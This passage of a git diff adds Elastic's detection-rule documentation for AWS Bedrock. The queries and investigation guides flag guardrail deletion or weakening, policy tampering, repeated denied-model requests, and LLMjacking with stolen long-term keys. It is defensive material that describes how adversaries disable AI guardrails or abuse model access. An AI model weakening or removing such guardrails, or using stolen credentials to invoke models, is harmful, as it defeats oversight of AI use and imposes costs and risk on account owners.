rotate the credentials in `aws.cloudtrail.user_identity.access_key_id` if compromise is suspected. +- Review all Bedrock control-plane activity from the same identity in the preceding window for further + defense-impairing actions. +- Restrict `bedrock:DeleteAutomatedReasoningPolicy` and `bedrock:UpdateAutomatedReasoningPolicy*` permissions + to a small set of administrative roles and enforce approval workflows. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "DeleteAutomatedReasoningPolicy" or + "UpdateAutomatedReasoningPolicy" or + "UpdateAutomatedReasoningPolicyAnnotations" + ) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc new file mode 100644 index 0000000000..87ea0ac34d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user]] +=== AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User + +Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0015 +* https://atlas.mitre.org/techniques/AML.T0034 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Mitre Atlas: T0015 +* Mitre Atlas: T0034 +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that attempted to use denied models. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that attempted to use denied models, is a legitimate misunderstanding by users or overly strict policies. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Filter for access denied errors from GenAI responses +| where gen_ai.response.error_code == "AccessDeniedException" + +// keep ECS and response fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id, + gen_ai.response.error_code + +// count total denials per user/model/account +| stats + Esql.ml_response_access_denied_count = count(*) + by + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Filter for users with repeated denials +| where Esql.ml_response_access_denied_count > 3 + +// sort by volume of denials +| sort Esql.ml_response_access_denied_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc new file mode 100644 index 0000000000..e980334759 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user]] +=== AWS Bedrock Detected Multiple Validation Exception Errors by a Single User + +Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0015 +* https://atlas.mitre.org/techniques/AML.T0034 +* https://atlas.mitre.org/techniques/AML.T0046 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Use Case: Policy Violation +* Mitre Atlas: T0015 +* Mitre Atlas: T0034 +* Mitre Atlas: T0046 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Detected Multiple Validation Exception Errors by a Single User* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that caused validation errors in accessing the Amazon Bedrock models. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that that caused validation errors is a legitimate misunderstanding by users on accessing the bedrock models. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. + - Identify if any implication to resource billing. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that AWS Bedrock Integration be configured. For more information, see the AWS Bedrock integration documentation: + +https://www.elastic.co/docs/current/integrations/aws_bedrock + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Truncate timestamp to 1-minute window +| eval Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp) + +// Filter for validation exceptions in responses +| where gen_ai.response.error_code == "ValidationException" + +// keep relevant ECS and derived fields +| keep + user.id, + gen_ai.request.model.id, + cloud.account.id, + gen_ai.response.error_code, + Esql.time_window_date_trunc + +// count number of denials by user/account/time window +| stats + Esql.ml_response_validation_error_count = count(*) + by + Esql.time_window_date_trunc, + user.id, + cloud.account.id + +// Filter for excessive errors +| where Esql.ml_response_validation_error_count > 3 + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc new file mode 100644 index 0000000000..d7a8809e84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-foundation-model-access-enabled-or-entitlement-granted]] +=== AWS Bedrock Foundation Model Access Enabled or Entitlement Granted + +Identifies when access to an Amazon Bedrock foundation model is enabled at the account level, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. Adversaries or a compromised principal may enable model access to abuse expensive models (LLMjacking), to establish a durable ability to invoke models within the account, or to bypass organizational controls. This activity is distinct from changes to a resource-based model invocation policy and is identified by the Bedrock control-plane API calls that grant model entitlements and agreements. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutFoundationModelEntitlement.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutUseCaseForModelAccess.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateFoundationModelAgreement.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Bedrock Foundation Model Access Enabled or Entitlement Granted* + + +Amazon Bedrock exposes account-level "model access" controls that determine which foundation models a principal is allowed to invoke. Granting an entitlement (`PutFoundationModelEntitlement`), submitting a use case for model access (`PutUseCaseForModelAccess`), or creating a foundation-model agreement (`CreateFoundationModelAgreement`, which accepts the model EULA) all unlock a model for subsequent `InvokeModel`/`InvokeModelWithResponseStream` calls. + +Adversaries who gain access to a privileged principal may enable model access to abuse high-cost models (LLMjacking), to maintain a durable capability to invoke models, or to circumvent organizational guardrails on which models are usable. + +This rule detects successful Bedrock control-plane API calls that enable model access at the account level. It is distinct from changes to a resource-based model invocation policy. + + +*Possible investigation steps* + + +- Identify the principal by reviewing `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`, and determine whether the identity is a human user, role, or service account that is expected to manage Bedrock model access. +- Review `event.action` to determine which model-access action was taken, and examine `aws.cloudtrail.request_parameters` to identify the specific foundation model, model ID, or use case involved. +- Verify the `source.ip` and `user_agent.original` of the request. Console-driven onboarding differs from programmatic SDK/CLI calls; an unexpected IP, geolocation, or automation user agent is suspicious. +- Confirm the `cloud.account.id` and `cloud.region` are expected for Bedrock usage in your environment, and whether model access is normally enabled in that region. +- Correlate with recent activity from the same principal, such as new access key creation, IAM permission changes, or other Bedrock control-plane calls, to determine whether this is part of a broader compromise. +- Check for subsequent `InvokeModel`/`InvokeModelWithResponseStream` activity from the same principal or account, especially high-volume invocations that could indicate model abuse (LLMjacking). +- Contact the resource owner to confirm whether enabling this model access was planned and authorized. + + +*False positive analysis* + + +- Legitimate administrators and ML teams enable model access and accept EULAs during account onboarding or when adopting new foundation models. Validate the change against change-management records and known provisioning workflows. +- Infrastructure-as-code or automation pipelines may enable model access programmatically; confirm the automation identity and source are expected. + + +*Response and remediation* + + +- If the activity is unauthorized, revoke the model entitlement/agreement and remove model access for the affected model. +- Disable or rotate the credentials (`aws.cloudtrail.user_identity.access_key_id`) associated with the principal that performed the action. +- Review and constrain IAM permissions so that only approved principals can call Bedrock model-access APIs. +- Investigate for any model invocations that occurred after access was granted and assess potential cost impact and data exposure. +- Implement preventative guardrails (SCPs, IAM conditions) to limit which principals and models can be enabled, and add monitoring for Bedrock control-plane changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "PutFoundationModelEntitlement" or + "PutUseCaseForModelAccess" or + "CreateFoundationModelAgreement" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc new file mode 100644 index 0000000000..a1a3e3705c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-foundation-model-enumeration-followed-by-invocation-via-long-term-key]] +=== AWS Bedrock Foundation Model Enumeration Followed by Invocation via Long-Term Key + +Detects when an AWS principal using long-term IAM user credentials (AKIA* access key) enumerates available Bedrock foundation models and then invokes a model within the same 15-minute window. Most legitimate Bedrock workloads run under IAM roles with short-lived credentials; the combination of model enumeration followed by direct model invocation from a long-term IAM user key is unusual in production environments and consistent with an adversary using stolen credentials to discover and exploit available AI model capabilities. This pattern is associated with LLMjacking attacks where threat actors abuse compromised cloud credentials to run high-volume or high-cost model inference at the account owner's expense. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_ListFoundationModels.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_InvokeModel.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS CloudTrail +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Discovery +* Tactic: Initial Access +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Foundation Model Enumeration Followed by Invocation via Long-Term Key* + + +This rule fires when the same long-term IAM user access key (AKIA*) calls `ListFoundationModels` and then +invokes a model within 15 minutes. This sequence — enumerate available models, then immediately use one — is +consistent with LLMjacking: an adversary using stolen IAM user credentials to discover and abuse available +AI model capabilities at the account owner's expense. + +Long-term access keys (`AKIA*` prefix) belong to IAM users, not roles. Legitimate Bedrock workloads in +production almost always run under IAM roles with short-lived credentials. A long-term key performing both +model discovery and invocation is unusual and warrants investigation. + + +*Possible investigation steps* + + +- **Identify the key and owner**: Review `aws.cloudtrail.user_identity.arn` and + `aws.cloudtrail.user_identity.access_key_id`. Determine who owns the key and whether it is authorized for + Bedrock usage. +- **Check for credential exposure**: Search for the access key in source code, CI/CD logs, and secret scanning + alerts. A key used from an unexpected source IP is a strong indicator of compromise. +- **Examine the invocation**: Review `aws.cloudtrail.request_parameters` on the `InvokeModel` event to identify + which model was invoked. Cross-reference with Bedrock invocation logs for prompt and response content. +- **Correlate source IP and user agent**: Confirm `source.ip` and `user_agent.original` match the key owner's + expected environment. Residential IPs, VPNs, or unexpected tools are suspicious. +- **Look for volume**: Check whether this is the first invocation or part of a burst of `InvokeModel` calls. + High-volume invocations following enumeration are a strong LLMjacking signal. + + +*False positive analysis* + + +- **Developer testing**: Engineers using long-term IAM user keys for local Bedrock development may trigger this + rule when they first explore available models. Validate against a known developer identity and source IP. + Encourage migration to IAM roles for all Bedrock workloads. + + +*Response and remediation* + + +- Immediately disable or rotate the access key if compromise is suspected. +- Review all Bedrock invocations made by the key before and after this event. +- Check whether the same key accessed other AWS services (S3, EC2, Secrets Manager). +- Enforce IAM roles for all Bedrock workloads and restrict long-term key usage via SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by aws.cloudtrail.user_identity.access_key_id with maxspan=15m + [any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "bedrock.amazonaws.com" + and event.action == "ListFoundationModels" + and event.outcome == "success" + and aws.cloudtrail.user_identity.access_key_id like "AKIA*"] + [any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "bedrock.amazonaws.com" + and event.action : ("InvokeModel", "InvokeModelWithResponseStream", "Converse", "ConverseStream") + and event.outcome == "success"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrail-deleted-or-weakened.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrail-deleted-or-weakened.asciidoc new file mode 100644 index 0000000000..278c3fcb61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrail-deleted-or-weakened.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-guardrail-deleted-or-weakened]] +=== AWS Bedrock Guardrail Deleted or Weakened + +Detects deletion, weakening, or version management of AWS Bedrock guardrails via the DeleteGuardrail, UpdateGuardrail, DeleteEnforcedGuardrailConfiguration, or PutEnforcedGuardrailConfiguration APIs. Bedrock guardrails enforce content, topic, word, and sensitive-information policies on model invocations. Deleting a guardrail, loosening its policies, removing or overwriting the organization-enforced guardrail configuration, or creating a new version to enforce a weakened configuration allows an adversary to bypass these protections — the cloud control-plane equivalent of disabling a security tool. This activity should be validated against approved change management and the responsible identity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteGuardrail.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_UpdateGuardrail.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Domain: GenAI +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Bedrock +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrail Deleted or Weakened* + + +AWS Bedrock guardrails enforce content, topic, word, and sensitive-information policies on model +invocations. Adversaries who gain access to the Bedrock control plane may delete a guardrail (`DeleteGuardrail`), +loosen its policies (`UpdateGuardrail`), remove or overwrite the organization-enforced guardrail +configuration (`DeleteEnforcedGuardrailConfiguration` / `PutEnforcedGuardrailConfiguration`) to then enforce it on +model deployments. This detection identifies those control-plane changes so responders can confirm +intent before accepting the change. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `source.ip`, and `user_agent.original`. + - Confirm a related change request exists and that the identity is authorized to manage guardrails. +- **Validate the change** + - For `UpdateGuardrail` / `PutEnforcedGuardrailConfiguration`, inspect + `aws.cloudtrail.flattened.request_parameters` and `aws.cloudtrail.response_elements` to determine + which content, topic, word, or sensitive-information policies were removed or weakened. + - For `DeleteGuardrail` / `DeleteEnforcedGuardrailConfiguration`, identify the targeted guardrail + or org configuration and whether protected workloads still reference it. +- **Correlate activity** + - Look for surrounding Bedrock `InvokeModel` / `Converse` activity and other defense-impairing + actions (e.g., logging or detector changes) from the same identity. + - Check for prior enumeration such as `ListGuardrails` or `GetGuardrail`. + + +*Response and remediation* + + +- If unauthorized, restore the guardrail and/or org-enforced configuration to its approved state and + re-associate it with affected Bedrock workloads. +- Disable the access key in `aws.cloudtrail.user_identity.access_key_id` and review the actor's + recent activity; rotate credentials if compromise is suspected. +- Restrict `bedrock:DeleteGuardrail`, `bedrock:UpdateGuardrail`, and the enforced-configuration + permissions to a small set of admin roles, and enforce guardrail state via AWS Config or SCPs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "DeleteGuardrail" or + "UpdateGuardrail" or + "DeleteEnforcedGuardrailConfiguration" or + "PutEnforcedGuardrailConfiguration" + ) and event.outcome: "success" + and not user_agent.original: (*Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc new file mode 100644 index 0000000000..6850761107 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request]] +=== AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request + +Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html +* https://atlas.mitre.org/techniques/AML.T0051 +* https://atlas.mitre.org/techniques/AML.T0054 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Policy Violation +* Mitre Atlas: T0051 +* Mitre Atlas: T0054 +* Noise: Low +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS S3 +* Service: AWS Bedrock + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Guardrails Detected Multiple Policy Violations Within a Single Blocked Request* + + +Amazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications. + +It enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices. + +Through Guardrail, organizations can define "denied topics" to prevent the model from generating content on specific, undesired subjects, +and they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language. + + +*Possible investigation steps* + + +- Identify the user account and the user request that caused multiple policy violations and whether it should perform this kind of action. +- Investigate the user activity that might indicate a potential brute force attack. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that caused multiple policy violations, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// Expand multi-value policy action field +| mv_expand gen_ai.policy.action + +// Filter for policy-blocked requests +| where gen_ai.policy.action == "BLOCKED" + +// count number of policy matches per request (multi-valued) +| eval Esql.ml_policy_violations_mv_count = mv_count(gen_ai.policy.name) + +// Filter for requests with more than one policy match +| where Esql.ml_policy_violations_mv_count > 1 + +// keep relevant fields +| keep + gen_ai.policy.action, + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// Aggregate requests with multiple violations +| stats + Esql.ml_policy_violations_total_unique_requests_count = count(*) + by + Esql.ml_policy_violations_mv_count, + user.id, + gen_ai.request.model.id, + cloud.account.id + +// sort by number of unique requests +| sort Esql.ml_policy_violations_total_unique_requests_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc 